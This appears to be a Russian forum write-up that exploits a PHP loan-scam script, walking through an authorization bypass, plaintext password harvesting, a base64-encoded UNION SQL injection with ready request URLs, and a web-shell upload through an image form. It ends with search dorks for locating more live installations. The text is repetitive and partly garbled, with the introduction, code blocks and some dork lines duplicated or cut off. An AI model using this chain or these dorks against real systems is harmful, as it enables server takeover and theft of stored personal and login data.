Как всем известно, есть около 400 способов относительно честного отъема денег у народа. Сегодня мы вам расскажем еще об одном.
Есть такой скрипт, который на разных мигалках/дубликатах/криминаланетах продавался от юзера под ником SOX.
Суть наебки в следующем:
1. Жертва ищет, где бы взять кредит (чаще всего - чтобы рассчитаться с другими кредитами).
2. Жертва находит наеб-скрипт, заполняет заявку и отправляет жуликам (уже профит - можно продать скан/личные данные).
3. Кредит жертве одобрен, но чтобы его получить, надо оплатить небольшую комиссию, а для этого надо пополнить "свою" карту (реквизиты карты одинаковы для всех жертв и указываются в наеб-скрипте).
4. Жертва оплачивает комиссию, но кредит почему-то нельзя получить...
5. ???
6. PROFIT
Спустя некоторое время улетел SOX в баню, а скрипт его оказался на проверку SUX (отстой, другими словами). Проанализирован и анально захекан.
Обход авторизации.
В коде много ****еца, но мы отметим только те баги, которые позволят нам залить шелл. Начнем мы с шикарнейшего кода в в файле /administrator/includes/admin_header.php:
Надо было лишь дописать exit. Конечно, это не спасло бы от похека, просто это только упрощает нашу работу. Все что нужно - просто отключить редиректы (или лазить через бурп и менять ответы с 302 на 200) и можно уже шариться по админке:

И мы уже можем палить юзеров:
Узнаем id:

Теперь тащим логин/пароль:
Просматриваем код странички, пароль там лежит как есть, в качестве логина используется почтовый ящик.
Заходим под данными пользователя в кабинет (/login.php):

SQL-инъекция
Находясь в кабинете пользователя заходим в раздел "служба поддержки". Файл support.php содержит следующие строки в коде:
Старая добрая SQL-инъекция, для успешного похека кодируем в base64 строку:
И делаем запрос:
Получаем логин - admin, теперь надо получить пароль:
Кодируем:
Видим:

Очевидно, что это base64, декодируем и вот у нас уже есть логин/пароль администратора. Заходим в админку...

Нам необходимо изменить имя одного из пользователей - меняем с русского на английский (чтобы в дальнейшем проще было залить шелл).
Upload shell
Заходим под юзером и заливаем шелл. Очередная чудо-ошибонька. /querys/myaccount_sc/chg-pic_sc.php:
Легко и просто заливаем шелл и далее заходим по адресу /userimg/username.php и вуаля:

Шик. Блеск. Красота.
Найдем еще больше таких скриптов:
Как видите, любой скрипт надо проверять, даже если автор пишет, что съел собаку на программировании)
С радостью проверим ваши скрипты на уязвимости.
Есть такой скрипт, который на разных мигалках/дубликатах/криминаланетах продавался от юзера под ником SOX.
Суть наебки в следующем:
1. Жертва ищет, где бы взять кредит (чаще всего - чтобы рассчитаться с другими кредитами).
2. Жертва находит наеб-скрипт, заполняет заявку и отправляет жуликам (уже профит - можно продать скан/личные данные).
3. Кредит жертве одобрен, но чтобы его получить, надо оплатить небольшую комиссию, а для этого надо пополнить "свою" карту (реквизиты карты одинаковы для всех жертв и указываются в наеб-скрипте).
4. Жертва оплачивает комиссию, но кредит почему-то нельзя получить...
5. ???
6. PROFIT
Спустя некоторое время улетел SOX в баню, а скрипт его оказался на проверку SUX (отстой, другими словами). Проанализирован и анально захекан.
Обход авторизации.
В коде много ****еца, но мы отметим только те баги, которые позволят нам залить шелл. Начнем мы с шикарнейшего кода в в файле /administrator/includes/admin_header.php:
<?php
include('../settings/config.php');
include("../include/class.pager.php");
include("../include/variables.php");
include("../antixss.php");
if(!isset($_SESSION["adminusername"]))
{
header("location: index.php?mg=session");
}
?>
include('../settings/config.php');
include("../include/class.pager.php");
include("../include/variables.php");
include("../antixss.php");
if(!isset($_SESSION["adminusername"]))
{
header("location: index.php?mg=session");
}
?>

И мы уже можем палить юзеров:
/administrator/userlist.php

Теперь тащим логин/пароль:
/administrator/edituser.php?action=edit&uid=221
Заходим под данными пользователя в кабинет (/login.php):

SQL-инъекция
Находясь в кабинете пользователя заходим в раздел "служба поддержки". Файл support.php содержит следующие строки в коде:
if(isset($_GET["Go"])){
$sql=dbQuery("select * from `support` where `".base64_decode($_GET["Go"])."`='".$_SESSION["userlogin"]."' order by `id` desc");
//прочее
$sql=dbQuery("select * from `support` where `".base64_decode($_GET["Go"])."`='".$_SESSION["userlogin"]."' order by `id` desc");
//прочее
id`=-1 uNiOn sEleCt 1,2,username,4,5,6,7,8 FrOm adminlogin #
/support.php?Go=aWRgPS0xIHVOaU9uIHNFbGVDdCAxLDIsdXNlcm5hbWUsNCw1LDYsNyw4IEZyT20gYWRtaW5sb2dpbiAjIA==
id`=-1 uNiOn sEleCt 1,2,password,4,5,6,7,8 FrOm adminlogin #
/support.php?Go=aWRgPS0xIHVOaU9uIHNFbGVDdCAxLDIscGFzc3dvcmQsNCw1LDYsNyw4IEZyT20gYWRtaW5sb2dpbiAjIA==

Очевидно, что это base64, декодируем и вот у нас уже есть логин/пароль администратора. Заходим в админку...

Нам необходимо изменить имя одного из пользователей - меняем с русского на английский (чтобы в дальнейшем проще было залить шелл).
Upload shell
Заходим под юзером и заливаем шелл. Очередная чудо-ошибонька. /querys/myaccount_sc/chg-pic_sc.php:
$output_dir = "userimg/";
$allowedExts = array("jpg", "jpeg", "gif", "png","JPG");
$extension = @end(explode(".", $_FILES["myfile"]["name"]));
if(isset($_POST['upload']))
{
//Filter the file types , if you want.
if ((($_FILES["myfile"]["type"] == "image/gif")
|| ($_FILES["myfile"]["type"] == "image/jpeg")
|| ($_FILES["myfile"]["type"] == "image/JPG")
|| ($_FILES["myfile"]["type"] == "image/png")
|| ($_FILES["myfile"]["type"] == "image/pjpeg"))
&& ($_FILES["myfile"]["size"] < 504800)
&& in_array($extension, $allowedExts))
{
if ($_FILES["myfile"]["error"] > 0)
{
echo "Return Code: " . $_FILES["myfile"]["error"] . "<br>";
}
if (file_exists($output_dir. $_FILES["myfile"]["name"]))
{
unlink($output_dir. $_FILES["myfile"]["name"]);
}
else
{
$pic=$_FILES["myfile"]["name"];
$conv=explode(".",$pic);
$ext=$conv['1'];
//move the uploaded file to uploads folder;
move_uploaded_file($_FILES["myfile"]["tmp_name"],$output_dir.$user.".".$ext);
$allowedExts = array("jpg", "jpeg", "gif", "png","JPG");
$extension = @end(explode(".", $_FILES["myfile"]["name"]));
if(isset($_POST['upload']))
{
//Filter the file types , if you want.
if ((($_FILES["myfile"]["type"] == "image/gif")
|| ($_FILES["myfile"]["type"] == "image/jpeg")
|| ($_FILES["myfile"]["type"] == "image/JPG")
|| ($_FILES["myfile"]["type"] == "image/png")
|| ($_FILES["myfile"]["type"] == "image/pjpeg"))
&& ($_FILES["myfile"]["size"] < 504800)
&& in_array($extension, $allowedExts))
{
if ($_FILES["myfile"]["error"] > 0)
{
echo "Return Code: " . $_FILES["myfile"]["error"] . "<br>";
}
if (file_exists($output_dir. $_FILES["myfile"]["name"]))
{
unlink($output_dir. $_FILES["myfile"]["name"]);
}
else
{
$pic=$_FILES["myfile"]["name"];
$conv=explode(".",$pic);
$ext=$conv['1'];
//move the uploaded file to uploads folder;
move_uploaded_file($_FILES["myfile"]["tmp_name"],$output_dir.$user.".".$ext);

Шик. Блеск. Красота.
Найдем еще больше таких скриптов:
inurl:login.php intext:Открыть счёт intitle:"Личный кабинет"
inurl:login.php intext:Я забыл свой пароль intitle:"Личный кабинет"
inurl
assword.php intext:"Регистрация и отправка заявки на займ"
inurl:login.php intext:Я забыл свой пароль intitle:"Личный кабинет"
inurl

С радостью проверим ваши скрипты на уязвимости.